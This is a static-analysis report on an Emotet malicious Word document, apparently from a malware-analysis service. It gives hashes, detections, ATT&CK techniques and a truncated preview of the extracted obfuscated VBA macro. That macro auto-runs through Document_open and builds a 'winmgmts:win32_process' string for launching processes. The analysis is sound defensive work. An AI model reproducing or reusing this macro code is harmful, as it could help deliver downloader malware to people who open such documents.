Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3160819ef486b450…

MALICIOUS

Office (OLE)

228.7 KB Created: 2020-08-28 19:17:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 3d7fcf6061b04dee9aa2fb6cd29b4fdf SHA-1: 683ecbeeb35c5c6cdb796517b0d3d8d0289dab5c SHA-256: 3160819ef486b45044dcf6d2ba882c4a9abd251e4bba8c8a0f5f42d5d01becae
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetRed02226-9938639-0', indicating it's a downloader. High-severity heuristics confirm the presence of VBA macros, specifically a 'Document_Open' macro that uses 'CreateObject', a common technique for executing malicious code. The VBA script, though heavily obfuscated, is designed to run automatically and likely initiates the download of a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16078 bytes
SHA-256: c193cc3537ad3a7950f4b8940cea64a6fc5dcc22f0ff5d6162d238892e836b7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "P2iezibesgjug7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Vz6943_vel47irl.Ywfot3mqdee10zf
End Sub


Attribute VB_Name = "Vz6943_vel47irl"
Attribute VB_Base = "0{B998AF01-627D-4238-B36E-53126C4C8710}{4468EC3E-10FF-425D-B227-D9DC73548D19}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ywfot3mqdee10zf()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Ax1v5tqumx98_x_vdt = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Ldxheut979kdm = ChrW(Ax1v5tqumx98_x_vdt + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Hh59523s5e7q = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Ldxheut979kdm + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Vz6943_vel47irl.Cw3tk0lcm80o_g + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
H26501w19sex7q7 = Pancj176jwsw8683eh(Hh59523s5e7q)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un
... (truncated)